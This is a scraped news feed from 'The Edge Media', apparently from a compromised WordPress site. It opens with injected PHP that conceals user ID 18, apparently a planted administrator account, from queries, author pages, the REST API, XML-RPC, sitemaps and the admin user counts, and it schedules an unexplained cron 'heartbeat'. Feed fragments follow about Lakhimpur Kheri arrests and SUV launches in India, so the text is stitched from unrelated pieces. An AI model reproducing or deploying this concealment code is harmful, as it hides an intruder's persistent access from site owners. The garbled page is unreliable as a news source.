add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 4 people have been arrested, including a BJP leader who was in the SUV that mowed down farmers in Uttar Pradesh appeared first on The Edge Media.
]]>
A police statement said: “Accused Sumit Jaiswal, Shishupal, Nandan Singh Bisht and Satya Prakash Tripathi have been arrested by Lakhimpur Kheri Police and SWAT team of Crime branch. Licensed revolver and three bullets were recovered from Satya Prakash Tripathi and seized.”
Sumit Jaiswal, a local BJP politician who was seen leaving the SUV in a video, had previously filed a murder FIR against unnamed farmers, alleging that his driver, friend, and two BJP volunteers were beaten to death and that he found out later via social media.
The post 4 people have been arrested, including a BJP leader who was in the SUV that mowed down farmers in Uttar Pradesh appeared first on The Edge Media.
]]>The post Mid – size SUV to be launched by MG Motor India this year appeared first on The Edge Media.
]]>As of now, it’s unclear whether the internal combustion engine or ICE version of the SUV will be called ZS or something else. However, the SUV reportedly could be called MG Astor in India. In fact, last year the company had applied for a trademark in India, as per the trademark website, the status of the name has been listed as opposed.
The carmaker reportedly aims to grow by about 70 per cent this year with this new SUV once the COVID-19 situation improves in the country. Rajeev Chaba, MG Motor India President and Managing Director said to ETAuto that the arrival of the SUV has been deferred by a few weeks due to the second wave of the COVID-19 pandemic. Moreover, the company is also targeting to fully utilise its Halol facility which has an installed capacity to roll out 1 lakh cars per annum.
The post Mid – size SUV to be launched by MG Motor India this year appeared first on The Edge Media.
]]>The post Mercedes-Benz Launches New SUV In India appeared first on The Edge Media.
]]>The Mercedes-Benz Maybach GLS 600 arrives as a powerful statement of purpose for the company at a time when the country’s car sector is experiencing a pause due to the Covid-19 issue. The Mercedes-Benz Maybach GLS 600 SUV is at the top of the automaker’s SUV lineup in India. It has already been on sale in numerous worldwide regions since its formal introduction in 2019.
The post Mercedes-Benz Launches New SUV In India appeared first on The Edge Media.
]]>